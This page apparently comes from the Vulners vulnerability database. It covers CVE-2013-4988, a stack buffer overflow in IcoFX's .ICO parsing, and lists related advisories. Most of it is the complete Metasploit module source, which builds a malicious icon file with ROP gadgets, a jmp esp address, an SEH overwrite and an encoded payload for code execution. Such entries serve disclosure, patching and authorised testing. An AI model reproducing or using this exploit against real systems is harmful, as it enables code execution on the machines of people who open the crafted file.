Lucene search
K

IcoFX ICO处理缓冲区溢出漏洞

🗓️ 08 Jan 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 28 Views

IcoFX version 2.1 stack buffer overflow while processing .ICO file

Related
Code
ReporterTitlePublishedViews
Family
0day.today
IcoFX 2.5.0.0 (.ico) - Buffer Overflow Vulnerability
11 Dec 201300:00
zdt
0day.today
IcoFX 2.1 (.ico) - Stack Buffer Overflow
4 Jan 201400:00
zdt
0day.today
IcoFX 2.6 - (.ico) Buffer Overflow SEH + DEP Bypass using JOP Exploit
7 Jun 202100:00
zdt
Circl
CVE-2013-4988
11 Dec 201300:00
circl
Core Security
IcoFX Buffer Overflow Vulnerability
10 Dec 201300:00
coresecurity
Check Point Advisories
IcoFX Stack Buffer Overflow (CVE-2013-4988)
4 May 201400:00
checkpoint_advisories
CVE
CVE-2013-4988
13 Dec 201315:00
cve
Cvelist
CVE-2013-4988
13 Dec 201315:00
cvelist
Exploit DB
IcoFX 2.5.0.0 - '.ico' Buffer Overflow (PoC)
11 Dec 201300:00
exploitdb
Exploit DB
IcoFX - Local Stack Buffer Overflow (Metasploit)
7 Jan 201400:00
exploitdb
Rows per page

                                                ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::FILEFORMAT
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'IcoFX Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability in version 2.1
        of IcoFX. The vulnerability exists while parsing .ICO files, where an specially
        crafted ICONDIR header, providing an arbitrary long number of images into the file,
        can be used to trigger the overflow when reading the ICONDIRENTRY structures.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Marcos Accossatto', # Vulnerability discovery, poc
          'juan vazquez' # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2013-4988' ],
          [ 'OSVDB', '100826' ],
          [ 'BID', '64221' ],
          [ 'EDB', '30208'],
          [ 'URL', 'http://www.coresecurity.com/advisories/icofx-buffer-overflow-vulnerability' ]
        ],
      'Platform'          => [ 'win' ],
      'Payload'           =>
        {
          'DisableNops'    => true,
          'Space'          => 864,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'Targets'        =>
        [
          [ 'IcoFX 2.5 / Windows 7 SP1',
            {
              :callback => :target_win7,
            }
          ],
        ],
      'DisclosureDate' => 'Dec 10 2013',
      'DefaultTarget'  => 0))
 
    register_options(
      [
        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ico'])
      ], self.class)
 
  end
 
  def target_win7
    # All the gadgets com from IcoFX2.exe 2.5.0.0
 
    # ICONDIR structure
    ico =  [0].pack("v") # Reserved. Must always be 0
    ico << [1].pack("v") # Image type: 1 for icon (.ico) image
    # 0x66 is enough to overwrite the local variables and, finally
    # the seh handler. 0x7f00 is used to trigger an exception after
    # the overflow, while the overwritten SEH handler is in use.
    ico << [0x7f00].pack("v")
    # ICONDIRENTRY structures 102 structures are using to overwrite
    # every structure = 16 bytes
    # 100 structures are used to reach the local variables
    ico << rand_text(652)
    ico << [0x0044729d].pack("V") * 20 # ret # rop nops are used to allow code execution with the different opening methods
    ico << [0x0045cc21].pack("V")      # jmp esp
    ico << payload.encoded
    ico << rand_text(
      1600 -                 # 1600 = 16 ICONDIRENTRY struct size * 100
      652 -                  # padding to align the stack pivot
      80 -                   # rop nops size
      4 -                    # jmp esp pointer size
      payload.encoded.length
    )
    # The next ICONDIRENTRY allows to overwrite the interesting local variables
    # on the stack
    ico << [2].pack("V")          # Counter (remaining bytes) saved on the stack
    ico << rand_text(8)           # Padding
    ico << [0xfffffffe].pack("V") # Index to the dst buffer saved on the stack, allows to point to the SEH handler
    # The next ICONDIRENTRY allows to overwrite the seh handler
    ico << [0x00447296].pack("V") # Stackpivot: add esp, 0x800 # pop ebx # ret
    ico << rand_text(0xc) # padding
    return ico
  end
 
  def exploit
    unless self.respond_to?(target[:callback])
      fail_with(Failure::BadConfig, "Invalid target specified: no callback function defined")
    end
 
    ico = self.send(target[:callback])
 
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(ico)
  end
 
end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation